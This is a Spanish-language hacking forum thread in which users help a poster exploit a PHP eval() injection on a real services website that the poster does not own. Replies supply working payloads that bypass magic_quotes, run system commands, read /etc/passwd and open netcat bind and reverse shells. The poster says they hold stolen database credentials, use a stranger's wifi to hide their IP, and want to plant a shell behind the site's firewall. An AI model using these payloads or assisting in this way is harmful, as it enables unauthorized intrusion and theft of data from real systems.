Php injection

Iniciado por tragantras, 23 Febrero 2010, 00:38 AM

0 Miembros y 1 Visitante están viendo este tema.

WHK

ah en ese caso puedes hacer un
index.php?x=eval(stripslashses($_GET[z]));&z=echo 'x';exit;

de esta forma desde la variable x le das un nuevo eval y stripslashses y fijate que no ingresamos ninguna comilla, luego desde una segunda variable le inyectamos a todo dar :P

Azielito

#11
no sé si te funcione aya, pero a mi me dio resultado

Código (php) [Seleccionar]
urldecode(system%28%27dir%27%29);

pasando eso por get, no se como lo modifique el foro, hice esto
Código (php) [Seleccionar]
echo urlencode("system('dir')");

ya me platicaras

PD: dice "dir" por que estoy en windows ¬¬ y que? :xD!!!

Castg!

jsajajaja pero dir sirve para igual en windows que en linux...

WHK

mejor
print_r(glob('*'));
print_r(glob('/temp/*'));
print_r(glob('/*'));
print_r(glob('/etc/*'));

despues lees con file
print_r(file('/etc/passwd'));

tragantras

gracias por contestar de nuevo =)

WHK

no puedo usar los print_r porque requieren cadenas, y como dije al principio están activados los magic_quotes así que no se muy bien como realizar esas operaciones, intenté con chr(39), que viene siendo la comilla simple, pero no procesa bien de esa manera...

recuerdo que el código vulnerable es el siguiente
Código (php) [Seleccionar]
eval("echo PERICO_".$_GET["x"].";");

Azielito

Ya especifiqué que el codigo no puedo modificarlo yo... se trata de una vulnerabildad, no es un foro, es una web de servicios, sin más


All

Dado que puedo lanzar system() exec() passthru() etc... se me había ocurrido lanzar un
Código (bash) [Seleccionar]
nc -l -p 4444 -c /bin/shell o una inversa
Código (bash) [Seleccionar]
nc IP 4444 -c /bin/shell pero he tenido algunos problemas haciendo una prueba local, se ve que mi router no hace correctamente la traduccion de IPs privadas a Publicas ( NAT ) asi que..., y tampoco me quiero arriesgar a dejarlo a la escucha en el servidor, que eso es facilmente detectable, además se registraría mi ip... ( que por otra parte...tampoco es mia, es una wifi de por ahi xD )

He obtenido los datos de la conexion de la base de datos, hay una mysql y una oracle, pero... el firewall está configurado para tan solo aceptar peticiones desde dentro... así que por eso me es tan importante instalar una shell dentro.


PD: no se si esto está tomando tintes para estar en el tema de hacking general... pero como aun tengo que pasar funciones mediante el eval() y el system() de php, pienso que aun tiene cabida aquí


Un saludo y gracias ^^

Colaboraciones:
1 2

braulio--

Y por qué no haces la shell con lo de system('echo tal>hola.php'); ehh? (obviamente saltandote los filtros esos que hay)

tragantras

Cita de: ▬▬▬▬► braulio23 ◄▬▬▬▬▬ en 24 Febrero 2010, 15:31 PM
Y por qué no haces la shell con lo de system('echo tal>hola.php'); ehh? (obviamente saltandote los filtros esos que hay)

omg no eres consciente hasta que punto se complica el asunto, no puedo insertar ni comillas, ni espacios ni simbolos raros ( como backslashes ) por ejemplo ese código que tu has puesto ahi se transforma en:

Código (php) [Seleccionar]
system(chr(39).echo.chr(32).tal.chr(62).hola.chr(46).php.chr(39))

con:    '    = chr(39)          (espacio) = chr(32)     >  = chr(62)   .   = chr(46)

con lo que intentar hacer una "shell" decente... me costaría la misma vida xD


pD: el simbolo del > si s puede introducir, pero bueno, es tan solo un caracter entre la marea de ellos
Colaboraciones:
1 2

braulio--

Recuerda que WHK te dió la forma para evadir las magic quotes,y , otra forma sería con las funciones get_file_content y put_file_content.

tragantras

Cita de: ▬▬▬▬► braulio23 ◄▬▬▬▬▬ en 24 Febrero 2010, 17:08 PM
Recuerda que WHK te dió la forma para evadir las magic quotes,y , otra forma sería con las funciones get_file_content y put_file_content.


pues... el tema es que probando offline el codigo de WHK si que me ha funcionado, pero a la hora de implementarlo en la web no... no se porque, a ver si vosotros me echais una mano ( OTRA! xD ), os pongo el funcionamiento más "real" de la web:


  • La pagina recibe por GET el "idioma" al que quiers cambiar, es decir, $_GET["lang"] y lo almacena en una variable llamada $lang
  • Esa pagina, llamémosla changelang.php te redirecciona al index.php
  • Ya el index.php es el encargado de hacer eval("echo RECENT_".$lang.";");



no se realmente si este proceso de paso por variable local en vez de por GET altera el funcionamiento de el sistema :/
Colaboraciones:
1 2

Azielito

si, te entendi, te comento que hagas uso de la funcion "urldecode" cuando mandas tu codigo x)